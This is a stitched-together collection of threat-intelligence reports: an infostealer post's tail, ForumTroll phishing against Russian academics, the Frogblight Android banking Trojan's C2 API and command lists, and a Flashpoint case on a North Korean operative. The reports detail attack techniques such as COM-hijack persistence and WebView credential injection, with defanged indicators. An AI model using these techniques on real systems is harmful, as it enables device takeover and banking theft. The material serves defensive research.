Gaming services and clients. The local files of gaming platforms and launchers store account data, linked service information, and authentication tokens. At risk are Steam, Roblox, Intent Launcher, Lunar Client, TLauncher, Feather Client, Meteor Client, Impact Client, Badlion Client, and WinAuth for battle.net.
VPN clients. By gaining access to configuration files, attackers can hijack the victim’s VPN account to mask their own malicious activities. At risk are AzireVPN, OpenVPN, ProtonVPN, Surfshark, and WindscribeVPN.
That’s an extensive list — and we haven’t even named all of them! In addition to local files, this infostealer also harvests general system data: a list of installed programs, the OS version and language, username, computer hardware information, and miscellaneous settings. And as if that weren’t enough, the malware also takes screenshots.
How to protect yourself from Stealka and other infostealers
Secure your device with reliable antivirus software. Even downloading files from legitimate websites is no guarantee of safety — attackers leverage trusted platforms to distribute stealers all the time. Kaspersky Premium detects malware on your computer in time and alerts you to the threat.
Don’t store sensitive information in browsers. It’s handy — no one can argue with that. But unfortunately browsers aren’t the most secure environment for your data. Sign-in credentials, bank card details, secret notes, and other confidential information are better kept in a securely encrypted format in Kaspersky Password Manager, which is immune to the exploits used by Stealka.
Enable two-factor authentication or use backup codes wherever possible.Two-factor authentication (2FA) makes life much harder for attackers, while backup codes help you regain access to your critical accounts if compromised. Just be sure not to store backup codes in text documents, notes, or your browser. For all your backup codes and 2FA tokens, use a reliable password manager.
Curious what other stealers are out there, and what they’re capable of? Read more in our other posts:
In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.
In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.
The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.
A well-prepared attack
The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.
Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.
A screenshot of the malicious site elements showing the IP address and initial session date
The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.
Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:
The message that was displayed when we attempted to download the archive
Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.
The message that was displayed when we attempted to download the archive from a non-Windows OS
The malicious archive
The malicious archives downloaded via the email links contained the following:
A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents
When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.
The script that was launched by opening the shortcut
The downloaded payload then performed the following actions:
Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.
The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.
A screenshot of a page from the downloaded report
At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.
The final payload: the Tuoni framework
The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.
As in the previous campaign, the attackers used fastly.net as C2 servers.
Conclusion
The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.
Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.
ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.
In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.
Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.
Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.
This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.
Technical details
Background
While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.
Initial infection
We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.
While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.
The phishing website distributing Frogblight
We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.
The admin panel interface of the website from which Frogblight is downloaded
Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.
The GitHub repository with the phishing website source code
App features
As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.
After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.
The full list of declared permissions in the app manifest file is shown below:
MANAGE_EXTERNAL_STORAGE
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
READ_SMS
RECEIVE_SMS
SEND_SMS
WRITE_SMS
RECEIVE_BOOT_COMPLETED
INTERNET
QUERY_ALL_PACKAGES
BIND_ACCESSIBILITY_SERVICE
DISABLE_KEYGUARD
FOREGROUND_SERVICE
FOREGROUND_SERVICE_DATA_SYNC
POST_NOTIFICATIONS
QUICKBOOT_POWERON
RECEIVE_MMS
RECEIVE_WAP_PUSH
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
SCHEDULE_EXACT_ALARM
USE_EXACT_ALARM
VIBRATE
WAKE_LOCK
ACCESS_NETWORK_STATE
READ_PHONE_STATE
After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.
The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.
The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.
REST API client method
Description
Parameters
fetchOutbox
Request message content to be sent via SMS or displayed in a notification
device_id: unique Android device ID
ackOutbox
Send the results of processing a message received after calling the API method fetchOutbox
device_id: unique Android device ID
msg_id: message ID
status: message processing status
error: message processing error
getAllPackages
Request the names of app packages whose launch should open a website in WebView to capture user input data
action: same as the API method name
getPackageUrl
Request the website URL that will be opened in WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
getFileCommands
Request commands for file operations
Available commands:
● download: upload the target file to the C2
● generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2
● list: send information about all files in the target directory to the C2
● thumbnail: generate a thumbnail from the target image file and upload it to the C2
device_id: unique Android device ID
pingDevice
Check the C2 connection
device_id: unique Android device ID
reportHijackSuccess
Send captured user input data from the website opened in a WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
data: captured user input data
saveAppList
Send information about the apps installed on the device
device_id: unique Android device ID app_list: a list of apps installed on the device
app_count: a count of apps installed on the device
saveInjection
Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL
device_id: unique Android device ID app_name: the package name of the target app
form_data: captured user input data
savePermission
Unused but presumably needed for sending information about permissions
device_id: unique Android device ID permission_type: permission type
status: permission status
sendSms
Send information about an SMS message from the device
device_id: unique Android device ID sender: the sender’s/recipient’s phone number
message: message text
timestamp: received/sent time
type: message type (inbox/sent)
sendTelegramMessage
Send captured user input data from the webpages opened by Frogblight in WebView
device_id: unique Android device ID
url: website URL
title: website page title
input_type: the type of user input data
input_value: user input data
final_value: user input data with additional information
timestamp: the time of data capture
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updateDevice
Send information about the device
device_id: unique Android device ID
model: device manufacturer and model
android_version: Android version
phone_number: user phone number
battery: current battery level
charging: device charging status
screen_status: screen on/off
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updatePermissionStatus
Send information about permissions
device_id: unique Android device ID
permission_type: permission type
status: permission status
timestamp: current time
uploadBatchThumbnails
Upload thumbnails to the C2
device_id: unique Android device ID
thumbnails: thumbnails
uploadFile
Upload a file to the C2
device_id: unique Android device ID
file_path: file path
download_id: the file ID on the C2
The file itself is sent as an unnamed parameter
uploadFileList
Send information about all files in the target directory
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadFileListLog
Send information about all files in the target directory to an endpoint different from uploadFileList
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadThumbnailLog
Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails
device_id: unique Android device ID
thumbnails: thumbnails
Remote device control, persistence, and protection against deletion
The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.
capcuttup.refresh.AccessibilityAutoClickService
This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
capcuttup.refresh.PersistentService
This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
capcuttup.refresh.BootReceiver
This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.
Further development
In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).
In this sample, new REST API client methods have been added for interacting with the C2.
REST API client method
Description
Parameters
getContactCommands
Get commands to perform actions with contacts
Available commands:
● ADD_CONTACT: add a contact to the user device
● DELETE_CONTACT: delete a contact from the user device
● EDIT_CONTACT: edit a contact on the user device
device_id: unique Android device ID
sendCallLogs
Send call logs to the C2
device_id: unique Android device ID
call_logs: call log data
sendNotificationLogs
Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method
action: same as the API method name
notifications: notification log data
Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.
Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.
Part of the code responsible for avoiding Frogblight running in an undesirable environment
Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:
It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:
Command
Description
Parameters
connect
Send a registration message to the C2
–
connection_success
Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands
–
auth_error
Log info about an invalid login key to the Android log system
–
pong_device
Does nothing
–
commands_list
Execute commands
List of commands
sms_send_command
Send an arbitrary SMS message
recipient: message destination
message: message text
msg_id: message ID
bulk_sms_command
Send an arbitrary SMS message to multiple recipients
recipients: message destinations
message: message text
get_contacts_command
Send all contacts to the C2
–
get_app_list_command
Send information about the apps installed on the device to the C2
–
get_files_command
Send information about all files in certain directories to the C2
–
get_call_logs_command
Send call logs to the C2
–
get_notifications_command
Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
take_screenshot_command
Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
update_device
Send registration message to the C2
–
new_webview_data
Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
new_injection
Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
code: injected code
target_app: presumably the package name of the target app
add_contact_command
Add a contact to the user device
name: contact name
phone: contact phone
email: contact email
contact_add
Add a contact to the user device
display_name: contact name
phone_number: contact phone
email: contact email
contact_delete
Delete a contact from the user device
phone_number: contact phone
contact_edit
Edit a contact on the user device
display_name: new contact name
phone_number: contact phone
email: new contact email
contact_list
Send all contacts to the C2
–
file_list
Send information about all files in the specified directory to the C2
path: directory path
file_download
Upload the specified file to the C2
file_path: file path
download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail
Generate a thumbnail from the target image file and upload it to the C2
file_path: image file path
file_thumbnails
Generate thumbnails from the image files in the target directory and upload them to the C2
folder_path: directory path
health_check
Send information about the current device state: battery level, screen state, and so on
–
message_list_request
Send all SMS messages to the C2
–
notification_send
Show an arbitrary notification
title: notification title
message: notification message
app_name: notification subtext
package_list_response
Save the target package names
packages: a list of all target package names.
Each list element contains:
package_name: target package name
active: whether targeting is active
delete_contact_command
Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
contact_id: contact ID
name: contact name
file_upload_command
Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_path: file path
file_name: file name
file_download_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: download path
download_file_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: downloading path
get_permissions_command
Send a registration message to the C2, including info about specific permissions
–
health_check_command
Send information about the current device state, such as battery level, screen state, and so on
–
connect_error
Log info about connection errors to the Android log system
A list of errors
reconnect
Send a registration message to the C2
–
disconnect
Stop pinging the C2 and requesting commands from it
–
Authentication via WebSocket takes place using a special key.
The part of the code responsible for the WebSocket authentication logic
At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.
The interface of the sign-in screen for the Frogblight web panel
Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.
Victims
Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.
Attribution
Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.
GitHub repositories containing Frogblight and Coper malware
Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.
Conclusions
The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.
Hamas-affiliated threat actor Ashen Lepus (aka WIRTE) is conducting espionage with its new AshTag malware suite against Middle Eastern government entities.
Beyond the Malware: Inside the Digital Empire of a North Korean Threat Actor
In this post Flashpoint reveals how an infostealer infection on a North Korean threat actor’s machine exposed their digital operational security failures and reliance on AI. Leveraging Flashpoint intelligence, we pivot from a single persona to a network of fake identities and companies targeting the Web3 and crypto industry.
Last week, Hudson Rock published a blog on “Trevor Greer,” a persona tied to a North Korean IT Worker. Flashpoint shared additional insights with our clients back in July, and we’re now making those findings public.
Trevor Greer, a North Korean operative, was identified via an infostealer infection on their own machine. Information-stealing malware, also known as Infostealers or stealers, are malware designed to scrape passwords and cookies from unsuspecting victims. Stealers (like LummaC2 or RedLine) are typically used by cybercriminals to steal login credentials from everyday users to sell on the Dark Web. It is rare to see them infect the machines of a state-sponsored advanced persistent threat group (APT).
However, when adversaries unknowingly infect themselves, they can expose valuable insights into the inner workings of their campaigns. Leveraging Flashpoint intelligence sourced from the leaked logs of “Trevor Greer,” our analysts uncovered a myriad of fake identities and companies used by DPRK APTs.
Finding Trevor Greer
Flashpoint analysts have been tracking the Trevor Greer email address since December 2024 in relation to the “Contagious Interview” campaign, in which threat actors operated as LinkedIn recruiters to target Web3 developers, resulting in the deployment of multiple stealers compromising developer Web3 wallets. Flashpoint also identified the specific persona’s involvement in a campaign in which North Korean threat actors posed as IT freelance workers and applied for jobs at legitimate companies before compromising the organizations internally.
ByBit Compromise
The ByBit compromise in late February 2025 further fueled Flashpoint’s investigations into the Trevor Greer email address. Bybit, a cryptocurrency exchange, suffered a critical incident resulting in North Korean actors extorting US $1.5 billion worth of cryptocurrency. In the aftermath, Silent Push researchers identified the persona “Trevor Greer” associated with the email address trevorgreer9312@gmail[.]com, which registered the domain “Bybit-assessment[.]com” prior to the Bybit compromise.
A later report claimed that the domain “getstockprice[.]com” was involved in the compromise. Despite these domain discrepancies, both investigations attributed the attack to North Korean advanced persistent threat (APT) nexus groups.
Tracing the Infection
Using Flashpoint’s vast intelligence collections, we performed a full investigation of compromised virtual private servers (VPS), revealing the actor’s potential involvement in several other operations, including remote IT work, several self-made blockchain and cryptocurrency exchange companies, and a potential crypto scam dating back to 2022.
Flashpoint analysts also discovered that the Trevor Greer email address was linked to domains infected with information-stealing malware.
What the Logs Revealed
Analysts extracted information about the associated infected host from Trevor Greer, revealing possible tradecraft and tools used. Analysts further identified specific indicators of compromise (IOCs) used in the campaigns mentioned above, as well as email addresses used by the actor for remote work.
The data painted a vivid picture of how these threat actors operate:
Preparation for “Contagious Interviews”
The browser history revealed the actor logging into Willo, a legitimate video interview platform. This suggests the actor was conducting reconnaissance to clone the site for the “Contagious Interview” campaign, where they lured Web3 developers into fake job interviews to deploy malware.
Reliance on AI Tools
The logs exposed the actor’s reliance on AI to bridge the language gap. The operator frequently accessed ChatGPT and Quillbot, likely using them to write convincing emails, build resumes, and generate code for their malware.
Pivoting: One Node to a Network
By analyzing the “Trevor Greer” logs, we were able to pivot to other personas and campaigns involved in the operation.
Fake Employment: The logs contained credentials for freelance platforms, such as Upwork and Freelancer, associated with other aliases, including “Kenneth Debolt” and “Fabian Klein.” This confirmed the actor was part of a broader scheme to infiltrate Western companies as remote IT workers.
Fake Companies: The data linked the actor to fake corporate entities, such as Block Bounce (blockbounce[.]xyz), a sham crypto trading firm set up to appear legitimate to potential victims.
Developer Personas: The infection data linked the actor to the GitHub account svillalobosdev, which had been active in open source projects to build credibility before the attack.
Legitimate Platforms & Tools: Analysts observed the actor using job boards such as Dice and HRapply[.]com, freelance platforms such as Upwork and Freelancer, and direct applications through company Workday sites. To improve their resume, the actor used resumeworded[.]com or cakeresume[.]com. For conversing, the threat actor likely relies on a mix of both GPT and Quilbot, as found in infected host logins, to ensure they sound human. During interviews, analysts determined that they potentially used Speechify.
Deep & Dark Web Resources: The actor also likely purchased Social Security numbers (SSNs) from SSNDOB24[.]com, a site for acquiring Social Security data.
Disrupt Threat Actors Using Flashpoint
The “Trevor Greer” case study illustrates a critical shift in modern threat intelligence. We are no longer limited to analyzing the malware adversaries deploy; sometimes, we can analyze the adversaries themselves.
Using their own tools against them, Flashpoint transformed a faceless state-sponsored entity into a tangible user with bad habits, sloppy OPSEC, and a trail of digital breadcrumbs. Behind every sophisticated APT campaign is a human operator, and sometimes, they click the wrong link too.
Request a demo today to delve deeper into the tactics, techniques, and procedures of advanced persistent threats and learn how Flashpoint’s intelligence strengthens your defenses.